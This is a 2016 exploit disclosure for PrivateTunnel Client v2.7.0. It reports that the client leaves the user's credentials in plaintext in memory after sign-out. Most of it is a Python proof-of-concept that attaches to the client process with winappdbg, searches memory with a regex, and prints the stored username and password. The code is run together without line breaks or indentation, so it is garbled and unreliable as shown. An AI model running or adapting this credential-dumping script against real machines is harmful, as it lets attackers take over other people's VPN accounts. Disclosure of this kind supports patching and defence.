###### PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit# Tested on Windows Windows 7 64bit, English# Vendor Homepage @ https://www.privatetunnel.com# Date 14/09/2016# Bug Discovery by:## Yakir Wizman (https://www.linkedin.com/in/yakirwizman)# http://www.black-rose.ml## Viktor Minin (https://www.linkedin.com/in/MininViktor)# https://1-33-7.com/####### PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.## Authors are not responsible for any misuse or demage which caused by use of this script code.# Please use responsibly.###### Proof-Of-Concept Code:
import time
import urllib
from winappdbg import Debug,Process
usr = ''pwd = ''
found = 0
filename = "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump = []
debug = Debug()try:
print "###########################################################################"
print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t#"
print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
print "#\t\t\tPlease use responsibly.\t\t\t\t#"
print "###########################################################################\r\n"
print "[~] Searching for pid by process name '%s'.."%(filename)
time.sleep(1)
debug.system.scan_processes()for(process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()if process_pid is not 0:
print "[+] Found process with pid #%d"%(process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d"%(process_pid)process = Process(process_pid)
user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'for address in process.search_regexp(user_pattern):
memory_dump.append(address)try:
usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n','')pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
except:
pass
print ""if usr != '' and pwd!='':
found = 1
print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"
print "[+] Username: %s"% usr
print "[+] Password: %s"%pwdif found == 0:
print "[-] Credentials not found!"else:
print "[-] No process found with name '%s'."%(filename)
debug.loop()finally:
debug.stop()
